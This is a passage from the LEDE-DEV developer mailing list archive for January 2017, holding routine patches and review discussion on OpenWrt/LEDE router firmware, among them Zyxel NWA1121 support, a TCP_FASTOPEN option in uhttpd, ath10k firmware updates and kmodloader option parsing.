+		.gpio		= NWA1121_GPIO_ORANGE,
+		.active_low	= 1,
+	}, {
+		.name		= "zyxel:green",
+		.gpio		= NWA1121_GPIO_GREEN,
+		.active_low	= 1,
+	}
+};
+
+static struct gpio_keys_button nwa1121_gpio_keys[] __initdata = {
+	{
+		.desc		= "reset",
+		.type		= EV_KEY,
+		.code		= KEY_RESTART,
+		.gpio		= NWA1121_GPIO_RESET,
+		.debounce_interval = 60,
+		.active_low	= 1,
+	}
+};
+
+static int nwa1121_get_env(const char *name, char *mac)
+{
+        u8 *env = (u8 *) KSEG1ADDR(NWA1121_ENV);
+        int err;
+
+	printk(KERN_INFO "get_env: %s\n", name);
+
+        err = ath79_nvram_parse_mac_addr(env, 0x10000 /*64k*/, name, 
mac);
+
+        return err;
+}
+
+static void __init nwa1121_setup(void)
+{
+	u8 *ee = (u8 *) KSEG1ADDR(NWA1121_ART);
+	u8 wifi0mac[ETH_ALEN];
+	u8 eth0mac[ETH_ALEN];
+
+	ath79_register_m25p80(&nwa1121_flash_data);
+
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(nwa1121_leds_gpio), 
nwa1121_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, 20, ARRAY_SIZE(nwa1121_gpio_keys), 
nwa1121_gpio_keys);
+
+	nwa1121_get_env("wifi0mac=", wifi0mac);
+	ath79_register_wmac(ee, wifi0mac);
+
+	ath79_setup_ar934x_eth_cfg(AR934X_ETH_CFG_RGMII_GMAC0 /* | 
AR934X_ETH_CFG_SW_ONLY_MODE */);
+	ath79_setup_ar934x_eth_rx_delay(1, 1);
+	ath79_register_mdio(0, 0x0);
+
+	nwa1121_get_env("eth0mac=", eth0mac);
+	ath79_init_mac(ath79_eth0_data.mac_addr, eth0mac, 0);
+
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = BIT(0);
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+	ath79_eth0_pll_data.pll_1000 = 0x0e000000;
+	ath79_eth0_data.speed = SPEED_1000;
+	ath79_register_eth(0);
+}
+
+MIPS_MACHINE(ATH79_MACH_NWA1121, "NWA1121",
+	     "ZYXEL NWA1121", nwa1121_setup);
-- 
2.11.0




From rosenp at gmail.com  Wed Jan 25 17:14:23 2017
From: rosenp at gmail.com (Rosen Penev)
Date: Wed, 25 Jan 2017 17:14:23 -0800
Subject: [LEDE-DEV] [PATCH] uhttpd: Add TCP_FASTOPEN support
Message-ID: <20170126011423.5512-1-rosenp@gmail.com>

Provides a small speedup when resuming the connection.

Signed-off by: Rosen Penev <rosenp at gmail.com>
---
 listen.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/listen.c b/listen.c
index 92ca680..2a54888 100644
--- a/listen.c
+++ b/listen.c
@@ -107,15 +107,17 @@ void uh_setup_listeners(void)
 		/* TCP keep-alive */
 		if (conf.tcp_keepalive > 0) {
 #ifdef linux
-			int tcp_ka_idl, tcp_ka_int, tcp_ka_cnt;
+			int tcp_ka_idl, tcp_ka_int, tcp_ka_cnt, tcp_fstopn;
 
 			tcp_ka_idl = 1;
 			tcp_ka_cnt = 3;
 			tcp_ka_int = conf.tcp_keepalive;
+			tcp_fstopn = 5;
 
 			setsockopt(sock, SOL_TCP, TCP_KEEPIDLE,  &tcp_ka_idl, sizeof(tcp_ka_idl));
 			setsockopt(sock, SOL_TCP, TCP_KEEPINTVL, &tcp_ka_int, sizeof(tcp_ka_int));
 			setsockopt(sock, SOL_TCP, TCP_KEEPCNT,   &tcp_ka_cnt, sizeof(tcp_ka_cnt));
+			setsockopt(sock, SOL_TCP, TCP_FASTOPEN,  &tcp_fstopn, sizeof(tcp_fstopn));
 #endif
 
 			setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, &yes, sizeof(yes));
-- 
2.9.3



From bb at npl.de  Wed Jan 25 23:39:48 2017
From: bb at npl.de (Bastian Bittorf)
Date: Thu, 26 Jan 2017 08:39:48 +0100
Subject: [LEDE-DEV] bugtracker / subscribe to all new tickets
Message-ID: <20170126073948.GH5767@medion.lan>

Dear devs,

With the old 'trac' there was a possibility to get an
email for every new bug. I miss that for 'flyspray'.
Maybe I just can not find the button?

bye, bastian


From bb at npl.de  Thu Jan 26 00:54:10 2017
From: bb at npl.de (Bastian Bittorf)
Date: Thu, 26 Jan 2017 09:54:10 +0100
Subject: [LEDE-DEV] the ipv6 issues and the notions of timer
In-Reply-To: <XsPNbcDfxnj6nZnVmypdrc3EGn32UGx2dBoKzCN92193@mailpile>
References: <20170124080702.GA20922@medion.lan>
 <XsPNbcDfxnj6nZnVmypdrc3EGn32UGx2dBoKzCN92193@mailpile>
Message-ID: <20170126085410.GK5767@medion.lan>

* Karl Palsson <karlp at tweak.net.au> [25.01.2017 13:58]:
> Bastian Bittorf <bb at npl.de> wrote:
> > * Dave Taht <dave.taht at gmail.com> [24.01.2017 08:52]:
> > > I'd love a "simple ubus listen daemon example - one that listens
> > > merely for events on a set of interfaces. or routes or on a proto".
> > 
> > root at box:~ ubus listen
> > { "network.interface": {"action":"ifdown","interface":"lan"} }                                  
> > { "network.interface": {"action":"ifup","interface":"lan"} }
> 
> You know ubus listen only shows you the public sends right? You
> don't get to see _any_ of the stuff sent via ubus as RPC.

Good point. Any idea about that?

bye, bastian


From hannu.nyman at iki.fi  Thu Jan 26 06:08:16 2017
From: hannu.nyman at iki.fi (Hannu Nyman)
Date: Thu, 26 Jan 2017 16:08:16 +0200
Subject: [LEDE-DEV] bugtracker / subscribe to all new tickets
In-Reply-To: <20170126073948.GH5767@medion.lan>
References: <20170126073948.GH5767@medion.lan>
Message-ID: <f4170a62-c5bc-32b9-103d-96b262242041@iki.fi>

 > With the old 'trac' there was a possibility to get an email for every new 
bug. I miss that for 'flyspray'. Maybe I just can not find the button?

Haven't found such a button, either.

But an easy solution is to subscribe / monitor the bugs mailing list.
http://lists.infradead.org/mailman/listinfo/lede-bugs

(I have not subscribed to the list, but instead have bookmarked it, so it is 
quick to see the activity.)




From bb at npl.de  Thu Jan 26 06:44:34 2017
From: bb at npl.de (Bastian Bittorf)
Date: Thu, 26 Jan 2017 15:44:34 +0100
Subject: [LEDE-DEV] bugtracker / subscribe to all new tickets
In-Reply-To: <f4170a62-c5bc-32b9-103d-96b262242041@iki.fi>
References: <20170126073948.GH5767@medion.lan>
 <f4170a62-c5bc-32b9-103d-96b262242041@iki.fi>
Message-ID: <20170126144434.GR5767@medion.lan>

* Hannu Nyman <hannu.nyman at iki.fi> [26.01.2017 15:41]:
> But an easy solution is to subscribe / monitor the bugs mailing list.
> http://lists.infradead.org/mailman/listinfo/lede-bugs

thank you - i'am fine with this.

bye, bastian


From ynezz at true.cz  Thu Jan 26 07:31:32 2017
From: ynezz at true.cz (Petr =?iso-8859-2?Q?=A9tetiar?=)
Date: Thu, 26 Jan 2017 16:31:32 +0100
Subject: [LEDE-DEV] the ipv6 issues and the notions of timer
In-Reply-To: <XsPNbcDfxnj6nZnVmypdrc3EGn32UGx2dBoKzCN92193@mailpile>
References: <20170124080702.GA20922@medion.lan>
 <XsPNbcDfxnj6nZnVmypdrc3EGn32UGx2dBoKzCN92193@mailpile>
Message-ID: <20170126153132.GE5843@ibawizard.net>

Karl Palsson <karlp at tweak.net.au> [2017-01-25 10:17:32]:

> Bastian Bittorf <bb at npl.de> wrote:
> > * Dave Taht <dave.taht at gmail.com> [24.01.2017 08:52]:
> > > I'd love a "simple ubus listen daemon example - one that listens
> > > merely for events on a set of interfaces. or routes or on a proto".
> > 
> > root at box:~ ubus listen
> > { "network.interface": {"action":"ifdown","interface":"lan"} }                                  
> > { "network.interface": {"action":"ifup","interface":"lan"} }
> 
> You know ubus listen only shows you the public sends right? You
> don't get to see _any_ of the stuff sent via ubus as RPC.

ubus monitor ?

-- ynezz


From jo at mein.io  Thu Jan 26 08:30:02 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Thu, 26 Jan 2017 17:30:02 +0100
Subject: [LEDE-DEV] ar71xx: support for Zyxel NWA1121-NI
In-Reply-To: <db5cd98c4e1f8a0f36d5e8dffd437af6@mail.itp.ac.ru>
References: <db5cd98c4e1f8a0f36d5e8dffd437af6@mail.itp.ac.ru>
Message-ID: <2c0c436c-61ca-cd6f-3f0c-98a0db4e5acb@mein.io>

Hi Alex,

this patch just introduces kernel support, do you plan to follow-up with
further support patches as well (sysupgrade, ar71xx.sh, ...) ?

Please find some more comments inline below.

~ Jo

> Add support for Zyxel NWA1121-NI 802.11abgn access point.
> 
> From 159cda7e026f3042f950248b4e62490fd7a6bbc6 Mon Sep 17 00:00:00 2001
> From: Alex Prokofiev <alexpro at itp.ac.ru>
> Date: Wed, 25 Jan 2017 21:42:38 +0300
> Subject: [PATCH] Support for Zyxel NWA1121-NI
> 
> Signed-off-by: Alex Prokofiev <alexpro at itp.ac.ru>
> ---
>  .../ar71xx/files/arch/mips/ath79/mach-nwa1121.c    | 108
> +++++++++++++++++++++
>  1 file changed, 108 insertions(+)
>  create mode 100644
> target/linux/ar71xx/files/arch/mips/ath79/mach-nwa1121.c
> 
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-nwa1121.c
> b/target/linux/ar71xx/files/arch/mips/ath79/mach-nwa1121.c
> new file mode 100644
> index 0000000000..783351b50f
> --- /dev/null
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-nwa1121.c
> @@ -0,0 +1,108 @@
> +/*
> + *  This program is free software; you can redistribute it and/or
> modify it
> + *  under the terms of the GNU General Public License version 2 as
> published
> + *  by the Free Software Foundation.

You should probably assign your own copyright somehwere.

> + */
> +
> +#include <linux/pci.h>
> +#include <linux/phy.h>
> +#include <linux/platform_device.h>
> +#include <linux/ath9k_platform.h>
> +#include <linux/ar8216_platform.h>
> +
> +#include <asm/mach-ath79/ar71xx_regs.h>
> +
> +#include "common.h"
> +#include "dev-ap9x-pci.h"
> +#include "dev-eth.h"
> +#include "dev-gpio-buttons.h"
> +#include "dev-leds-gpio.h"
> +#include "dev-m25p80.h"
> +#include "dev-spi.h"
> +#include "dev-wmac.h"
> +#include "machtypes.h"
> +#include "nvram.h"
> +
> +#define NWA1121_GPIO_RESET    4
> +#define NWA1121_GPIO_ORANGE    11
> +#define NWA1121_GPIO_GREEN    12
> +
> +#define NWA1121_ENV            0x1ffe0000
> +#define NWA1121_ART            0x1fff1000
> +
> +
> +static const char *nwa1121_part_probes[] = {
> +    "cmdlinepart",
> +    NULL,
> +};
> +
> +static struct flash_platform_data nwa1121_flash_data = {
> +    .part_probes    = nwa1121_part_probes,
> +};
> +
> +static struct gpio_led nwa1121_leds_gpio[] __initdata = {
> +    {
> +        .name        = "zyxel:orange",
> +        .gpio        = NWA1121_GPIO_ORANGE,
> +        .active_low    = 1,
> +    }, {
> +        .name        = "zyxel:green",
> +        .gpio        = NWA1121_GPIO_GREEN,
> +        .active_low    = 1,
> +    }
> +};
> +
> +static struct gpio_keys_button nwa1121_gpio_keys[] __initdata = {
> +    {
> +        .desc        = "reset",
> +        .type        = EV_KEY,
> +        .code        = KEY_RESTART,
> +        .gpio        = NWA1121_GPIO_RESET,
> +        .debounce_interval = 60,
> +        .active_low    = 1,
> +    }
> +};
> +
> +static int nwa1121_get_env(const char *name, char *mac)
> +{
> +        u8 *env = (u8 *) KSEG1ADDR(NWA1121_ENV);
> +        int err;

Make sure that the code is tab-indented.

> +
> +    printk(KERN_INFO "get_env: %s\n", name);

Please remove this debug code

> +
> +        err = ath79_nvram_parse_mac_addr(env, 0x10000 /*64k*/, name, mac);

Remove the inline comment.

> +
> +        return err;

Tab-indent here.

> +}
> +
> +static void __init nwa1121_setup(void)
> +{
> +    u8 *ee = (u8 *) KSEG1ADDR(NWA1121_ART);
> +    u8 wifi0mac[ETH_ALEN];
> +    u8 eth0mac[ETH_ALEN];
> +
> +    ath79_register_m25p80(&nwa1121_flash_data);
> +
> +    ath79_register_leds_gpio(-1, ARRAY_SIZE(nwa1121_leds_gpio),
> nwa1121_leds_gpio);
> +    ath79_register_gpio_keys_polled(-1, 20,
> ARRAY_SIZE(nwa1121_gpio_keys), nwa1121_gpio_keys);
> +
> +    nwa1121_get_env("wifi0mac=", wifi0mac);
> +    ath79_register_wmac(ee, wifi0mac);
> +
> +    ath79_setup_ar934x_eth_cfg(AR934X_ETH_CFG_RGMII_GMAC0 /* |
> AR934X_ETH_CFG_SW_ONLY_MODE */);
> +    ath79_setup_ar934x_eth_rx_delay(1, 1);
> +    ath79_register_mdio(0, 0x0);
> +
> +    nwa1121_get_env("eth0mac=", eth0mac);
> +    ath79_init_mac(ath79_eth0_data.mac_addr, eth0mac, 0);
> +
> +    ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
> +    ath79_eth0_data.phy_mask = BIT(0);
> +    ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
> +    ath79_eth0_pll_data.pll_1000 = 0x0e000000;
> +    ath79_eth0_data.speed = SPEED_1000;
> +    ath79_register_eth(0);
> +}
> +
> +MIPS_MACHINE(ATH79_MACH_NWA1121, "NWA1121",
> +         "ZYXEL NWA1121", nwa1121_setup);



From linus.luessing at c0d3.blue  Thu Jan 26 12:38:33 2017
From: linus.luessing at c0d3.blue (Linus =?utf-8?Q?L=C3=BCssing?=)
Date: Thu, 26 Jan 2017 21:38:33 +0100
Subject: [LEDE-DEV] netifd: "bridge: disable IGMP snooping by default"
In-Reply-To: <80df2701-e919-1654-eae2-c3035ee66f78@nbd.name>
References: <20170120103755.GK3498@otheros>
 <80df2701-e919-1654-eae2-c3035ee66f78@nbd.name>
Message-ID: <20170126203833.GB3881@otheros>

On Tue, Jan 24, 2017 at 04:28:52PM +0100, Felix Fietkau wrote:
> On 2017-01-20 11:37, Linus L?ssing wrote:
> > Hi,
> > 
> > Is there any further information regarding this commit somewhere?
> > 
> > "bridge: disable IGMP snooping by default"
> > https://git.lede-project.org/?p=project/netifd.git;a=commitdiff;h=52541140f8138e31958cdc3d7e42a4029fa6bbc9
> Sorry, I forgot to put some context in the commit message. jow pointed
> out to me that we have a whole bunch of different tickets and reports
> that point at issues with multicast. Some of them are clearly wireless
> related, but others seemed to go away when disabling IGMP snooping. This
> is really hard to pin down and we decided to make this feature opt-in
> instead of opt-out for now until things settle down a bit more.

Hi Felix, thanks and I really appreciate your efforts to create a
successful, stable and first LEDE release :). So if it's going to
be disabled in that first LEDE release, that'd be fine by me.

Nevertheless, Jow or Felix, could you forward the tickets which
seemed related to bridge multicast snooping to me? So I can check
whether it should be disabled in Gluon, too. (we took some
precautions with a robustness variable of 3 instead of 2 and way
lower querier intervals in Gluon, but not sure what kind of issues
were reported for LEDE)

Regards, Linus


From greearb at candelatech.com  Thu Jan 26 16:11:26 2017
From: greearb at candelatech.com (greearb at candelatech.com)
Date: Thu, 26 Jan 2017 16:11:26 -0800
Subject: [LEDE-DEV] [PATCH v2 1/2] ath10k-ct: Fix performance of 2x2
 hardware running 3x3 firmware.
Message-ID: <1485475887-19595-1-git-send-email-greearb@candelatech.com>

From: Ben Greear <greearb at candelatech.com>

The driver had a bug when calculating the rateset.  This resolves
that and allows full VHT mcs rates on 2x2 hardware.

Signed-off-by: Ben Greear <greearb at candelatech.com>
---
 package/kernel/ath10k-ct/Makefile | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/package/kernel/ath10k-ct/Makefile b/package/kernel/ath10k-ct/Makefile
index 3c31e11..bea6d85 100644
--- a/package/kernel/ath10k-ct/Makefile
+++ b/package/kernel/ath10k-ct/Makefile
@@ -8,9 +8,9 @@ PKG_LICENSE_FILES:=
 
 PKG_SOURCE_URL:=https://github.com/greearb/ath10k-ct.git
 PKG_SOURCE_PROTO:=git
-PKG_SOURCE_DATE:=2017-01-10
-PKG_SOURCE_VERSION:=f5bacb83baf95e887c50c286606f4f565ef71d86
-PKG_MIRROR_HASH:=845950a177ed6dd7ad3f645df79403e9980f089a09b66e74a9b88abe58dfe5e6
+PKG_SOURCE_DATE:=2017-01-26
+PKG_SOURCE_VERSION:=d2bc84ff277936c58231f0c2280242eda4199e63
+PKG_MIRROR_HASH:=6b734b987db00b97b06faca686dcebc56fb23b93093afbb35d5cf534987269bf
 
 PKG_MAINTAINER:=Ben Greear <greearb at candelatech.com>
 PKG_BUILD_PARALLEL:=1
-- 
2.4.11



From greearb at candelatech.com  Thu Jan 26 16:11:27 2017
From: greearb at candelatech.com (greearb at candelatech.com)
Date: Thu, 26 Jan 2017 16:11:27 -0800
Subject: [LEDE-DEV] [PATCH v2 2/2] ath10k-ct: Support ath10k CT firmware for
 9887 chipsets.
In-Reply-To: <1485475887-19595-1-git-send-email-greearb@candelatech.com>
References: <1485475887-19595-1-git-send-email-greearb@candelatech.com>
Message-ID: <1485475887-19595-2-git-send-email-greearb@candelatech.com>

From: Ben Greear <greearb at candelatech.com>

And, update support for 9880 chipsets.  The new firmware
fixes a regression with EAPOL 4/4 packets added in
a recent commit.

It also fixes a case where the firmware would improperly try
to use STBC when configured for 1x1 (as 9887 always is).

Signed-off-by: Ben Greear <greearb at candelatech.com>
---
 package/firmware/ath10k-firmware/Makefile | 44 ++++++++++++++++++++++++++++---
 1 file changed, 41 insertions(+), 3 deletions(-)

diff --git a/package/firmware/ath10k-firmware/Makefile b/package/firmware/ath10k-firmware/Makefile
index fa026e4..08c65c0 100644
--- a/package/firmware/ath10k-firmware/Makefile
+++ b/package/firmware/ath10k-firmware/Makefile
@@ -8,7 +8,7 @@
 include $(TOPDIR)/rules.mk
 
 PKG_NAME:=ath10k-firmware
-PKG_SOURCE_DATE:=2017-01-11
+PKG_SOURCE_DATE:=2017-01-26
 PKG_SOURCE_VERSION:=ab432c60437931a165f0aff1a6e3371f358b75dd
 PKG_MIRROR_HASH:=e3188ecd4d7470d3cdde89fefa6258f9ec4f404b23558d1474e5014679b28101
 PKG_RELEASE:=1
@@ -32,6 +32,11 @@ $(Package/ath10k-firmware-default)
   TITLE:=ath10k firmware for QCA9887 devices
 endef
 
+define Package/ath10k-firmware-qca9887-ct
+$(Package/ath10k-firmware-default)
+  TITLE:=ath10k-CT firmware for QCA9887 devices
+endef
+
 QCA9887_REV:=3cce88e245f2d685e49411c4f80998f94baf67b8
 QCA9887_FIRMWARE_FILE:=firmware-5.bin_10.2.4-1.0-00013
 QCA9887_FIRMWARE_FILE_HASH:=5966408bd41f309edb595344b8dd088c0fed212debfd91e5f3e8a55ea119c16d
@@ -72,13 +77,20 @@ define Download/ct-firmware
   URL_FILE:=$($(1)_FIRMWARE_FILE_CT)
 endef
 
-QCA988X_FIRMWARE_FILE_CT:=firmware-2-ct-full-community.bin-19.rc1-lede
+QCA988X_FIRMWARE_FILE_CT:=firmware-2-ct-full-community.bin-19-rc3-lede
 define Download/ath10k-firmware-qca988x-ct
   $(call Download/ct-firmware,QCA988X,)
-  HASH:=ad41b29a9eebf1066f993beb571f3bd13f14ea89336ef9d4f3b31ee57e7abe54
+  HASH:=4112d78161a2c20e7a9490ea8d04e9f919508bafb097d88761dcce026c26f93f
 endef
 $(eval $(call Download,ath10k-firmware-qca988x-ct))
 
+QCA9887_FIRMWARE_FILE_CT:=firmware-2-ct-full-community.bin-19-rc3-lede
+define Download/ath10k-firmware-qca9887-ct
+  $(call Download/ct-firmware,QCA9887,ath10k-9887)
+  HASH:=18b61875726d4384de46f75dec1d42fea31aa6d66dba4940cb9d375bc98732e4
+endef
+$(eval $(call Download,ath10k-firmware-qca9887-ct))
+
 QCA99X0_FIRMWARE_FILE_CT:=firmware-5-ct-full-community-9.bin-lede.001
 define Download/ath10k-firmware-qca99x0-ct
   $(call Download/ct-firmware,QCA99X0,ath10k-10-4)
@@ -107,6 +119,13 @@ $(Package/ath10k-firmware-default)
   CATEGORY:=Firmware
 endef
 
+define Package/ath10k-firmware-qca9887-ct
+$(Package/ath10k-firmware-default)
+  TITLE:=ath10k CT 10.1 firmware for QCA9887 devices
+  SECTION:=firmware
+  CATEGORY:=Firmware
+endef
+
 define Package/ath10k-firmware-qca988x-ct/description
 Alternative ath10k firmware for QCA988X from Candela Technologies.
 Enables IBSS and other features.  See:
@@ -116,6 +135,14 @@ is un-selected since the driver will try to load firmware-5.bin before
 firmware-2.bin
 endef
 
+define Package/ath10k-firmware-qca9887-ct/description
+Alternative ath10k firmware for QCA9887 from Candela Technologies.
+Enables IBSS and other features.  See:
+http://www.candelatech.com/ath10k-10.1.php
+This firmware conflicts with the standard 9887 firmware, so select only
+one.
+endef
+
 define Package/ath10k-firmware-qca99x0-ct/description
 Alternative ath10k firmware for QCA99x0 from Candela Technologies.
 Enables IBSS and other features.  See:
@@ -224,6 +251,16 @@ define Package/ath10k-firmware-qca988x/install
 		$(1)/lib/firmware/ath10k/QCA988X/hw2.0/firmware-5.bin
 endef
 
+define Package/ath10k-firmware-qca9887-ct/install
+	$(INSTALL_DIR) $(1)/lib/firmware/ath10k/QCA9887/hw1.0
+	$(INSTALL_DATA) \
+		$(DL_DIR)/$(call CT_FIRMWARE_FILE,QCA9887) \
+		$(1)/lib/firmware/ath10k/QCA9887/hw1.0/firmware-2.bin
+	$(INSTALL_DATA) \
+		$(DL_DIR)/$(QCA9887_BOARD_FILE_DL) \
+		$(1)/lib/firmware/ath10k/QCA9887/hw1.0/board.bin
+endef
+
 define Package/ath10k-firmware-qca988x-ct/install
 	$(INSTALL_DIR) $(1)/lib/firmware/ath10k/QCA988X/hw2.0
 	$(INSTALL_DATA) \
@@ -297,6 +334,7 @@ $(eval $(call BuildPackage,ath10k-firmware-qca99x0))
 $(eval $(call BuildPackage,ath10k-firmware-qca6174))
 $(eval $(call BuildPackage,ath10k-firmware-qca9984))
 
+$(eval $(call BuildPackage,ath10k-firmware-qca9887-ct))
 $(eval $(call BuildPackage,ath10k-firmware-qca988x-ct))
 $(eval $(call BuildPackage,ath10k-firmware-qca99x0-ct))
 $(eval $(call BuildPackage,ath10k-firmware-qca9984-ct))
-- 
2.4.11



From nledovskikh at gmail.com  Thu Jan 26 23:48:11 2017
From: nledovskikh at gmail.com (Nikolay Ledovskikh)
Date: Fri, 27 Jan 2017 10:48:11 +0300
Subject: [LEDE-DEV] [PATCH] uqmi: Set data format after clearing
 previous autoconnect state.
In-Reply-To: <1483096336-31290-1-git-send-email-nledovskikh@gmail.com>
References: <1483096336-31290-1-git-send-email-nledovskikh@gmail.com>
Message-ID: <CAHc4v0FioXNO3tMM2TRXMCoRPJkF86cUHiELbp1SOih27YqHTQ@mail.gmail.com>

Hi. Any interest?

2016-12-30 14:12 GMT+03:00 Nickolay Ledovskikh <nledovskikh at gmail.com>:
> Clearing previous autoconnect state when using Sierra Airprime MC7304
> drops data format to 'raw-ip' (MC7710 is not behave the same). This
> leads to dhcp freeze. So data format must be set after stopping
> previous network.
>
> Signed-off-by: Nickolay Ledovskikh <nledovskikh at gmail.com>
> ---
>  package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh | 8 ++++++--
>  1 file changed, 6 insertions(+), 2 deletions(-)
>
> diff --git a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
> index 35de6c5..47475f6 100755
> --- a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
> +++ b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
> @@ -96,8 +96,6 @@ proto_qmi_setup() {
>                 }
>         }
>
> -       uqmi -s -d "$device" --set-data-format 802.3
> -       uqmi -s -d "$device" --wda-set-data-format 802.3
>         uqmi -s -d "$device" --sync
>
>         echo "Waiting for network registration"
> @@ -134,6 +132,9 @@ proto_qmi_setup() {
>                         --stop-network 0xffffffff \
>                         --autoconnect > /dev/null
>
> +               uqmi -s -d "$device" --set-data-format 802.3
> +               uqmi -s -d "$device" --wda-set-data-format 802.3
> +
>                 pdh_4=`uqmi -s -d "$device" --set-client-id wds,"$cid_4" \
>                         --start-network \
>                         ${apn:+--apn $apn} \
> @@ -165,6 +166,9 @@ proto_qmi_setup() {
>                         --stop-network 0xffffffff \
>                         --autoconnect > /dev/null
>
> +               uqmi -s -d "$device" --set-data-format 802.3
> +               uqmi -s -d "$device" --wda-set-data-format 802.3
> +
>                 pdh_6=`uqmi -s -d "$device" --set-client-id wds,"$cid_6" \
>                         --start-network \
>                         ${apn:+--apn $apn} \
> --
> 2.7.3
>



-- 
Best regards, Nikolay Ledovskikh.


From kevin at darbyshire-bryant.me.uk  Fri Jan 27 01:12:35 2017
From: kevin at darbyshire-bryant.me.uk (Kevin Darbyshire-Bryant)
Date: Fri, 27 Jan 2017 09:12:35 +0000
Subject: [LEDE-DEV] [PATCH] ubox: kmodloader: support '-q' quiet option
Message-ID: <1485508355-5714-1-git-send-email-kevin@darbyshire-bryant.me.uk>

The kernel opportunistically attempts to load modules in advanced with
'predicted' module names.  Often these modules don't exist and hence
kmodloader produces lots of logfile noise.  The kernel commandline to
modprobe from kworker proceses is '-q -- modulename' where '-q' means
quiet.

Add very basic support for any option beginning 'q' as meaning quiet.

Signed-off-by: Kevin Darbyshire-Bryant <kevin at darbyshire-bryant.me.uk>
---
 kmodloader.c | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index 729027a..54ae961 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -825,12 +825,15 @@ static int main_modprobe(int argc, char **argv)
 	char *name;
 	char *mod = NULL;
 	int i;
+	bool quiet = false;
 
 	for (i = 1; i < argc; i++)
 		if (argv[i][0] != '-') {
 			mod = argv[i];
 			break;
 		}
+		else if (argv[i][1] == 'q') quiet = true;
+
 	if (!mod)
 		return print_usage("modprobe");
 
@@ -843,10 +846,10 @@ static int main_modprobe(int argc, char **argv)
 	name = get_module_name(mod);
 	m = find_module(name);
 	if (m && m->state == LOADED) {
-		ULOG_ERR("%s is already loaded\n", name);
+		if (!quiet) ULOG_ERR("%s is already loaded\n", name);
 		return -1;
 	} else if (!m) {
-		ULOG_ERR("failed to find a module named %s\n", name);
+		if (!quiet) ULOG_ERR("failed to find a module named %s\n", name);
 	} else {
 		int fail;
 
-- 
2.7.4



From nbd at nbd.name  Fri Jan 27 01:17:28 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 27 Jan 2017 10:17:28 +0100
Subject: [LEDE-DEV] [PATCH] ubox: kmodloader: support '-q' quiet option
In-Reply-To: <1485508355-5714-1-git-send-email-kevin@darbyshire-bryant.me.uk>
References: <1485508355-5714-1-git-send-email-kevin@darbyshire-bryant.me.uk>
Message-ID: <e547a9da-79ad-61b2-1dd9-9e7ffa6d4123@nbd.name>

On 2017-01-27 10:12, Kevin Darbyshire-Bryant wrote:
> The kernel opportunistically attempts to load modules in advanced with
> 'predicted' module names.  Often these modules don't exist and hence
> kmodloader produces lots of logfile noise.  The kernel commandline to
> modprobe from kworker proceses is '-q -- modulename' where '-q' means
> quiet.
> 
> Add very basic support for any option beginning 'q' as meaning quiet.
> 
> Signed-off-by: Kevin Darbyshire-Bryant <kevin at darbyshire-bryant.me.uk>
> ---
>  kmodloader.c | 7 +++++--
>  1 file changed, 5 insertions(+), 2 deletions(-)
> 
> diff --git a/kmodloader.c b/kmodloader.c
> index 729027a..54ae961 100644
> --- a/kmodloader.c
> +++ b/kmodloader.c
> @@ -825,12 +825,15 @@ static int main_modprobe(int argc, char **argv)
>  	char *name;
>  	char *mod = NULL;
>  	int i;
> +	bool quiet = false;
>  
>  	for (i = 1; i < argc; i++)
>  		if (argv[i][0] != '-') {
>  			mod = argv[i];
>  			break;
>  		}
> +		else if (argv[i][1] == 'q') quiet = true;
Please use getopt instead of custom hacked up option parsing.

- Felix


From nbd at nbd.name  Fri Jan 27 02:15:02 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 27 Jan 2017 11:15:02 +0100
Subject: [LEDE-DEV] mac80211 / wireless drivers update
Message-ID: <08e7daea-d996-cc4d-a500-dc6b74ee0ae0@nbd.name>

Hi everybody,

I just pushed an update of the mac80211 package to the current
wireless-testing version in preparation for adding Linux 4.9 support.
You can find my tree here:
https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary

Please test it with your favorite wifi driver and let me know if
anything breaks.

- Felix


From kevin at darbyshire-bryant.me.uk  Fri Jan 27 02:33:39 2017
From: kevin at darbyshire-bryant.me.uk (Kevin Darbyshire-Bryant)
Date: Fri, 27 Jan 2017 10:33:39 +0000
Subject: [LEDE-DEV] [PATCH ubox] kmodloader: support '-q' quiet option
Message-ID: <1485513219-24856-1-git-send-email-kevin@darbyshire-bryant.me.uk>

The kernel opportunistically attempts to load modules in advanced with
'predicted' module names.  Often these modules don't exist and hence
kmodloader produces lots of logfile noise.  The kernel commandline to
modprobe from kworker proceses is '-q -- modulename' where '-q' means
quiet.

Signed-off-by: Kevin Darbyshire-Bryant <kevin at darbyshire-bryant.me.uk>
---
 kmodloader.c | 35 +++++++++++++++++++++++++----------
 1 file changed, 25 insertions(+), 10 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index 729027a..52a745f 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -660,6 +660,13 @@ static int print_insmod_usage(void)
 	return -1;
 }
 
+static int print_modprobe_usage(void)
+{
+	ULOG_INFO("Usage:\n\tmodprobe [-q] filename\n");
+
+	return -1;
+}
+
 static int print_usage(char *arg)
 {
 	ULOG_INFO("Usage:\n\t%s module\n", arg);
@@ -824,15 +831,23 @@ static int main_modprobe(int argc, char **argv)
 	struct module *m;
 	char *name;
 	char *mod = NULL;
-	int i;
+	int opt;
+	bool quiet = false;
+
+	while ((opt = getopt(argc, argv, "q")) != -1 ) {
+		switch (opt) {
